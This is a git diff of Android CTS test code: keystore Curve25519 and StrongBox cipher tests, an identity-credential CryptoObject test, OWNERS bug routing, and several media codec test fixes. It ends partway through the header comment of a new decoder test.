diff --git a/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
index 094ff3f..ce75658 100644
--- a/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
@@ -25,6 +25,7 @@
import android.content.Context;
+import android.hardware.biometrics.CryptoObject;
import android.security.identity.AccessControlProfile;
import android.security.identity.AccessControlProfileId;
import android.security.identity.PersonalizationData;
@@ -200,4 +201,20 @@
assertArrayEquals(expectedMac, rd.getDeviceMac());
}
}
+
+ @Test
+ public void cryptoObjectReturnsCorrectSession() throws Exception {
+ assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+ assumeTrue("IdentityCredentialStore.createPresentationSession(int) not supported",
+ TestUtil.getFeatureVersion() >= 202201);
+
+ Context appContext = InstrumentationRegistry.getTargetContext();
+ IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+
+ PresentationSession session = store.createPresentationSession(
+ IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+ CryptoObject cryptoObject = new CryptoObject(session);
+ assertEquals(session, cryptoObject.getPresentationSession());
+ }
}
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index 076ce21..da32ac4 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -134,9 +134,12 @@
"android.test.runner",
],
static_libs: [
+ "bouncycastle-bcpkix-unbundled",
+ "bouncycastle-unbundled",
"cts-core-test-runner-axt",
"wycheproof-keystore",
"wycheproof-gson",
+ "cts-keystore-test-util",
],
// sdk_version: "test_current",
platform_apis: true,
diff --git a/tests/tests/keystore/OWNERS b/tests/tests/keystore/OWNERS
index 21e2825..4d92596 100644
--- a/tests/tests/keystore/OWNERS
+++ b/tests/tests/keystore/OWNERS
@@ -1,6 +1,11 @@
-# Bug component: 36824
+# Bug component: 1084732
+#
+# Bugs for failures on Pixel devices should be assigned to frankwoo@, cc tommychiu@
+# Bugs for failures on Cuttlefish should be assigned to cloud-android-devs@
+# Bugs for failures that affect many/all devices should be assigned to android-hardware-security@
+#
+# Please CC android-hardware-security on all bugs.
swillden@google.com
-jdanis@google.com
jbires@google.com
eranm@google.com
drysdale@google.com
diff --git a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
index 076696d..6057e45 100644
--- a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
@@ -27,6 +27,8 @@
import android.keystore.cts.util.EmptyArray;
import android.keystore.cts.util.TestUtils;
+import android.os.Build;
+import android.os.SystemProperties;
import android.security.keystore.KeyProperties;
import android.security.keystore.KeyProtection;
@@ -34,8 +36,12 @@
import junit.framework.AssertionFailedError;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.ByteArrayOutputStream;
-import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.security.AlgorithmParameters;
import java.security.InvalidAlgorithmParameterException;
@@ -62,11 +68,6 @@
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
@RunWith(AndroidJUnit4.class)
abstract class BlockCipherTestBase {
@@ -724,6 +725,11 @@
assertEquals(getBlockSize(), output.length);
} catch (NullPointerException e) {
if (isStrongbox() && output == null) {
+ if (Build.VERSION_CODES.TIRAMISU
+ > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+ // Known broken on some older vendor implementations.
+ return;
+ }
fail("b/194134359");
}
throw e;
@@ -836,22 +842,33 @@
int ciphertextIndex = 0;
for (int plaintextIndex = 0; plaintextIndex < plaintext.length; plaintextIndex++) {
byte[] output = update(new byte[] {plaintext[plaintextIndex]});
- if ((plaintextIndex % blockSize) == blockSize - 1) {
- String additionalInformation = "";
- if (isStrongbox() && output == null) {
+ String additionalInformation = "";
+ boolean compareOutput = true;
+ if (isStrongbox()) {
+ // This is known to be broken on older vendor implementations.
+ if (Build.VERSION_CODES.TIRAMISU
+ > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+ compareOutput = false;
+ } else {
additionalInformation = " (b/194134359)";
}
- // Cipher.update is expected to have output a new block
- assertArrayEquals(
- "plaintext index: " + plaintextIndex + additionalInformation,
- subarray(
- expectedCiphertext,
- ciphertextIndex,
- ciphertextIndex + blockSize),
- output);
- } else {
- // Cipher.update is expected to have produced no output
- assertArrayEquals("plaintext index: " + plaintextIndex, null, output);
+ }
+ if (compareOutput) {
+ if ((plaintextIndex % blockSize) == blockSize - 1) {
+ // Cipher.update is expected to have output a new block
+ assertArrayEquals(
+ "plaintext index: " + plaintextIndex + additionalInformation,
+ subarray(
+ expectedCiphertext,
+ ciphertextIndex,
+ ciphertextIndex + blockSize),
+ output);
+ } else {
+ // Cipher.update is expected to have produced no output
+ assertArrayEquals(
+ "plaintext index: " + plaintextIndex + additionalInformation,
+ null, output);
+ }
}
if (output != null) {
ciphertextIndex += output.length;
@@ -928,17 +945,28 @@
&& (ciphertextIndex > 0) && ((ciphertextIndex % blockSize) == 0))
|| ((!paddingEnabled) && ((ciphertextIndex % blockSize) == blockSize - 1));
- if (outputExpected) {
- String additionalInformation = "";
- if (isStrongbox()) {
+ String additionalInformation = "";
+ boolean compareOutput = true;
+ if (isStrongbox()) {
+ // This is known to be broken on older vendor implementations.
+ if (Build.VERSION_CODES.TIRAMISU
+ > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+ compareOutput = false;
+ } else {
additionalInformation = " (b/194134040)";
}
- assertArrayEquals(
- "ciphertext index: " + ciphertextIndex + additionalInformation,
- subarray(expectedPlaintext, plaintextIndex, plaintextIndex + blockSize),
- output);
- } else {
- assertEquals("ciphertext index: " + ciphertextIndex, null, output);
+ }
+ if (compareOutput) {
+ if (outputExpected) {
+ assertArrayEquals(
+ "ciphertext index: " + ciphertextIndex + additionalInformation,
+ subarray(expectedPlaintext, plaintextIndex,
+ plaintextIndex + blockSize),
+ output);
+ } else {
+ assertEquals("ciphertext index: " + ciphertextIndex + additionalInformation,
+ null, output);
+ }
}
if (output != null) {
@@ -1297,7 +1325,6 @@
System.arraycopy(input, 0, buffer, inputOffsetInBuffer, input.length);
createCipher();
initKat(opmode);
- String additionalInformation = "";
int outputLength = update(buffer, inputOffsetInBuffer, input.length,
buffer, outputOffsetInBuffer);
if (isStrongbox()) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
index 30bd40b..8a37b16 100644
--- a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
+++ b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
@@ -30,14 +30,23 @@
import org.junit.runner.RunWith;
import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
-import java.security.ProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.interfaces.EdECPublicKey;
import java.security.spec.ECGenParameterSpec;
+import java.security.spec.InvalidKeySpecException;
import java.security.spec.NamedParameterSpec;
+import java.util.Arrays;
+import java.util.Base64;
+
+import javax.crypto.KeyAgreement;
@RunWith(AndroidJUnit4.class)
public class Curve25519Test {
@@ -52,45 +61,77 @@
@Test
public void x25519KeyAgreementTest() throws NoSuchAlgorithmException, NoSuchProviderException,
- InvalidAlgorithmParameterException {
+ InvalidAlgorithmParameterException, InvalidKeySpecException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
- final String alias = "x25519-alias";
- deleteEntry(alias);
+ // Aliases for both keys.
+ final String firstKeyAlias = "x25519-alias";
+ deleteEntry(firstKeyAlias);
+ final String secondKeyAlias = "x25519-alias-second";
+ deleteEntry(secondKeyAlias);
- KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
- KeyProperties.PURPOSE_AGREE_KEY)
+ // Generate first x25519 key pair.
+ KeyGenParameterSpec firstKeySpec = new KeyGenParameterSpec.Builder(firstKeyAlias,
+ KeyProperties.PURPOSE_AGREE_KEY)
.setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
- kpg.initialize(keySpec);
+ kpg.initialize(firstKeySpec);
+ KeyPair firstKeyPair = kpg.generateKeyPair();
- //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
- try {
- kpg.generateKeyPair();
- fail("Should not be supported yet");
- } catch (ProviderException e) {
- assertThat(e.getMessage()).isEqualTo("Curve XDH not supported yet");
- }
+ // Generate second x25519 key pair.
+ KeyGenParameterSpec secondKeySpec = new KeyGenParameterSpec.Builder(secondKeyAlias,
+ KeyProperties.PURPOSE_AGREE_KEY)
+ .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+ kpg.initialize(secondKeySpec);
+ KeyPair secondKeyPair = kpg.generateKeyPair();
+
+ // Attempt a key agreement with the private key from the first key pair and the public
+ // key from the second key pair.
+ KeyAgreement secondKa = KeyAgreement.getInstance("XDH");
+ secondKa.init(firstKeyPair.getPrivate());
+ secondKa.doPhase(secondKeyPair.getPublic(), true);
+ byte[] secondSecret = secondKa.generateSecret();
+
+ // Attempt a key agreement "the other way around": using the private key from the second
+ // key pair and the public key from the first key pair.
+ KeyAgreement firstKa = KeyAgreement.getInstance("XDH");
+ firstKa.init(secondKeyPair.getPrivate());
+ firstKa.doPhase(firstKeyPair.getPublic(), true);
+ byte[] firstSecret = firstKa.generateSecret();
+
+ // Both secrets being equal means the key agreement was successful.
+ assertThat(Arrays.compare(firstSecret, secondSecret)).isEqualTo(0);
}
@Test
public void ed25519KeyGenerationAndSigningTest()
throws NoSuchAlgorithmException, NoSuchProviderException,
- InvalidAlgorithmParameterException {
+ InvalidAlgorithmParameterException, InvalidKeyException, SignatureException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
final String alias = "ed25519-alias";
deleteEntry(alias);
KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
- .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519")).build();
+ .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519"))
+ .setDigests(KeyProperties.DIGEST_NONE).build();
kpg.initialize(keySpec);
- //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
- try {
- kpg.generateKeyPair();
- fail("Should not be supported yet");
- } catch (ProviderException e) {
- assertThat(e.getMessage()).isEqualTo("Curve 1.3.101.112 not supported yet");
- }
+ KeyPair kp = kpg.generateKeyPair();
+ assertThat(kp.getPublic()).isInstanceOf(EdECPublicKey.class);
+
+ byte[] data = "helloxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".getBytes();
+ Signature signer = Signature.getInstance("Ed25519");
+ signer.initSign(kp.getPrivate());
+ signer.update(data);
+ byte[] sigBytes = signer.sign();
+ assertThat(sigBytes.length).isEqualTo(64);
+ EdECPublicKey publicKey = (EdECPublicKey) kp.getPublic();
+ android.util.Log.i("Curve25519Test", "Manually validate: Payload "
+ + Base64.getEncoder().encodeToString(data) + " encoded key: "
+ + Base64.getEncoder().encodeToString(kp.getPublic().getEncoded())
+ + " signature: " + Base64.getEncoder().encodeToString(sigBytes));
+
+ //TODO: Verify signature over the data when Conscrypt supports validating Ed25519
+ // signatures.
}
@Test
@@ -150,4 +191,4 @@
assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
index 77535a0..3452d8e 100644
--- a/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
@@ -83,7 +83,9 @@
.setAttestationChallenge("challenge".getBytes())
.setAttestKeyAlias(attestKeyAlias)
.build());
- fail("Expected exception.");
+ fail("Expected that use of PURPOSE_ATTEST_KEY should fail, as the "
+ + PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY
+ + " feature is not advertized by the device");
} catch (InvalidAlgorithmParameterException e) {
// ATTEST_KEY generation/use has failed as expected
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
index c72fc6e..5b78757 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
@@ -24,13 +24,22 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.keystore.cts.R;
+import android.content.Context;
import android.keystore.cts.util.EmptyArray;
import android.keystore.cts.util.ImportedKey;
import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
+import android.security.keystore.KeyProperties;
+import android.security.keystore.KeyProtection;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.security.InvalidKeyException;
-import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyStore;
@@ -50,17 +59,6 @@
import java.util.Set;
import java.util.TreeMap;
-import android.content.Context;
-import android.security.keystore.KeyInfo;
-import android.security.keystore.KeyPermanentlyInvalidatedException;
-import android.security.keystore.KeyProperties;
-import android.security.keystore.KeyProtection;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
/**
* Tests for algorithm-agnostic functionality of {@code Signature} implementations backed by Android
* Keystore.
@@ -366,6 +364,9 @@
Set<String> actualSigAlgsLowerCase = new HashSet<String>();
Set<String> expectedSigAlgsLowerCase = new HashSet<String>(
Arrays.asList(TestUtils.toLowerCase(EXPECTED_SIGNATURE_ALGORITHMS)));
+ //TODO(b/233037333): Move this value to the EXPECTED_SIGNATURE_ALGORITHMS array, once
+ //we have confirmed key import is working for Ed25519 and have a key to import.
+ expectedSigAlgsLowerCase.add("ed25519");
for (Service service : services) {
if ("Signature".equalsIgnoreCase(service.getType())) {
String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
index 848d74c..c273a18 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -808,7 +808,7 @@
}
private MediaRecorder allocMediaRecorder() throws Exception {
- final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ final String outputPath = new File(mContext.getExternalFilesDir(null),
"record.out").getAbsolutePath();
mOutFile = new File(outputPath);
MediaRecorder mediaRecorder = new MediaRecorder();
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
index ce2b7ed..a2f5d2b 100644
--- a/tests/tests/media/codec/AndroidTest.xml
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaCodecTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaCodecTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.codec.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
index 8cf1c98..e8bd2cf 100755
--- a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
@@ -257,6 +257,7 @@
MediaCodec decoder = null;
OutputSurface outputSurface = null;
VirtualDisplay virtualDisplay = null;
+ ColorSlideShow slideShow = null;
try {
encoder = MediaCodec.createByCodecName(mEncoderName);
@@ -277,13 +278,19 @@
// Run the color slide show on a separate thread.
mInputDone = false;
- new ColorSlideShow(virtualDisplay.getDisplay()).start();
+ slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+ slideShow.start();
// Record everything we can and check the results.
doTestEncodeVirtual(encoder, decoder, outputSurface);
} finally {
if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+ if (slideShow != null) {
+ try {
+ slideShow.join();
+ } catch (InterruptedException ignore) {}
+ }
if (virtualDisplay != null) {
virtualDisplay.release();
}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index b9c1856..12bff24 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -124,10 +124,6 @@
public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info) {
mCodecBufferReceived = true;
}
- @Override
- public void onError(String errorMessage) {
- fail(errorMessage);
- }
};
/* TEST_COLORS static initialization; need ARGB for ColorDrawable */
@@ -222,11 +218,6 @@
handleEncodedData(data, info);
}
- @Override
- public void onError(String errorMessage) {
- fail(errorMessage);
- }
-
private void handleEncodedData(ByteBuffer data, BufferInfo info) {
if (mIsQuitting) {
if (DBG) {
@@ -508,7 +499,6 @@
interface EncoderEventListener {
public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info);
public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info);
- public void onError(String errorMessage);
}
private class EncodingHelper {
@@ -521,6 +511,7 @@
private Thread mEncodingThread;
private Surface mEncodingSurface;
private Semaphore mInitCompleted = new Semaphore(0);
+ private Exception mEncodingError;
Surface startEncoding(String mimeType, int w, int h, EncoderEventListener eventListener) {
mStopEncoding = false;
@@ -528,6 +519,7 @@
mW = w;
mH = h;
mEventListener = eventListener;
+ mEncodingError = null;
mEncodingThread = new Thread(new Runnable() {
@Override
public void run() {
@@ -535,7 +527,9 @@
doEncoding();
} catch (Exception e) {
e.printStackTrace();
- mEventListener.onError(e.toString());
+ // Throwing the exception here will crash the thread and subsequently the
+ // entire test process. We save it here and throw later in stopEncoding().
+ mEncodingError = e;
}
}
});
@@ -554,7 +548,7 @@
return mEncodingSurface;
}
- void stopEncoding() {
+ void stopEncoding() throws Exception {
try {
mStopEncoding = true;
mEncodingThread.join();
@@ -563,6 +557,10 @@
} finally {
mEncodingThread = null;
}
+ // Throw here if any error occurred in the encoding thread.
+ if (mEncodingError != null) {
+ throw mEncodingError;
+ }
}
private void doEncoding() throws Exception {
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
index 2baacd8..4294059 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
@@ -35,14 +35,13 @@
import android.media.MediaCodecInfo.EncoderCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaCodecList;
-import android.media.MediaCrypto;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.media.cts.AudioHelper;
import android.media.cts.InputSurface;
import android.media.cts.OutputSurface;
import android.media.cts.Preconditions;
import android.media.cts.StreamUtils;
+import android.media.cts.TestUtils;
import android.opengl.GLES20;
import android.os.Build;
import android.os.ConditionVariable;
@@ -64,13 +63,9 @@
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
-import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOException;
-import java.io.InputStream;
import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -2429,6 +2424,11 @@
continue;
}
MediaCodec codec = null;
+ if (!TestUtils.isTestableCodecInCurrentMode(info.getName())) {
+ Log.d(TAG, "skip testing codec " + info.getName() + " in current mode:"
+ + (TestUtils.isMtsMode() ? " MTS" : " CTS"));
+ continue;
+ }
try {
codec = MediaCodec.createByCodecName(info.getName());
List<String> vendorParams = codec.getSupportedVendorParameters();
@@ -2510,7 +2510,7 @@
format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
format.setInteger(
MediaFormat.KEY_COLOR_FORMAT,
- CodecCapabilities.COLOR_FormatYUV420Flexible);
+ CodecCapabilities.COLOR_FormatSurface);
}
} else {
Log.i(TAG, info.getName() + " is in neither audio nor video domain; skipped");
@@ -2520,6 +2520,10 @@
codec.configure(
format, null, null,
info.isEncoder() ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+ Surface inputSurface = null;
+ if (videoCaps != null && info.isEncoder()) {
+ inputSurface = codec.createInputSurface();
+ }
codec.start();
codec.unsubscribeFromVendorParameters(vendorParams);
codec.stop();
diff --git a/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
index fc5d459..541c68f 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
@@ -15,25 +15,41 @@
*/
package android.media.cts;
-import android.media.cts.R;
-
import android.app.Activity;
+import android.content.Intent;
+import android.media.cts.R;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
import android.view.WindowManager;
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
public class MediaStubActivity extends Activity {
private static final String TAG = "MediaStubActivity";
private SurfaceHolder mHolder;
private SurfaceHolder mHolder2;
+ public static final String INTENT_EXTRA_NO_TITLE = "NoTitle";
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+ Intent intent = getIntent();
+ if (intent.getBooleanExtra(INTENT_EXTRA_NO_TITLE, false)) {
+ hideTitle();
+ }
+ }
setTurnScreenOn(true);
setShowWhenLocked(true);
@@ -64,4 +80,26 @@
public SurfaceHolder getSurfaceHolder2() {
return mHolder2;
}
+
+ /** Note: Must be called from the thread used to create this activity. */
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+ public void hideSystemBars() {
+ var surfaceV = (SurfaceView)findViewById(R.id.surface);
+ WindowInsetsController windowInsetsController = surfaceV.getWindowInsetsController();
+ if (windowInsetsController == null) {
+ return;
+ }
+ // Configure the behavior of the hidden system bars
+ windowInsetsController.setSystemBarsBehavior(
+ WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
+ // Hide both the status bar and the navigation bar
+ windowInsetsController.hide(WindowInsets.Type.systemBars());
+ }
+
+ /** Note: Must be called before {@code setContentView}. */
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+ private void hideTitle() {
+ getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+ }
+
}
diff --git a/tests/tests/media/common/src/android/media/cts/TestUtils.java b/tests/tests/media/common/src/android/media/cts/TestUtils.java
index b09d333..f98b3ab 100644
--- a/tests/tests/media/common/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/common/src/android/media/cts/TestUtils.java
@@ -25,8 +25,10 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.text.TextUtils;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
import org.junit.Assert;
@@ -151,6 +153,46 @@
return true;
}
+ /*
+ * Report whether we are in MTS mode (vs in CTS) mode.
+ * Some tests (or parts of tests) are restricted to a particular mode.
+ */
+ public static boolean isMtsMode() {
+ Bundle bundle = InstrumentationRegistry.getArguments();
+ // null if not set
+ boolean isMTS = TextUtils.equals("true", bundle.getString("mts-media"));
+
+ return isMTS;
+ }
+
+ /*
+ * Report whether we want to test a particular code in the current test mode.
+ * CTS is pretty much "test them all".
+ * MTS should only be testing codecs that are part of the swcodec module; all of these
+ * begin with "c2.android."
+ *
+ * Used in spots throughout the test suite where we want to limit our testing to relevant
+ * codecs. This avoids false alarms that are sometimes triggered by non-compliant,
+ * non-mainline codecs.
+ *
+ * @param name the name of a codec
+ * @return {@code} true is the codec should be tested in the current operating mode.
+ */
+ public static boolean isTestableCodecInCurrentMode(String name) {
+ if (name == null) {
+ return false;
+ }
+ if (!isMtsMode()) {
+ // CTS mode -- test everything
+ return true;
+ }
+ // MTS mode, just the codecs that live in the modules
+ if (name.startsWith("c2.android.")) {
+ return true;
+ }
+ return false;
+ }
+
private TestUtils() {
}
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
index c7d4550..55fe608 100644
--- a/tests/tests/media/decoder/AndroidTest.xml
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDecoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDecoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.decoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
new file mode 100644
index 0000000..394a779
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
@@ -0,0 +1,256 @@
+package android.media.decoder.cts;
+
+import android.content.Intent;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.Preconditions;
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.screenshot.ScreenCapture;
+import androidx.test.runner.screenshot.Screenshot;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.Test;
+import org.junit.Assert;
+import org.junit.Assume;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Class that contains tests for the "Push blank buffers on stop" decoder feature.
+ * <br>
+ * In order to detect that a blank buffer has been pushed to the {@code Surface}that the codec works
+ * on, we take a fullscreen screenshot before and after the call to {@code MediaCodec#stop}. This
+ * workaround appears necessary at the time of writing because the usual APIs to extract the content
+ * of a native {@code Surface} (such as {@code PixelCopy} or {@code ImageReader}) appear to fail for
+ * this frame specifically.
+ * <br>
+ * This test class is inspired from the {@link DecoderTest} test class, but with specific setup code
+ * to ensure the activity is launched in immersive mode and its title is removed.
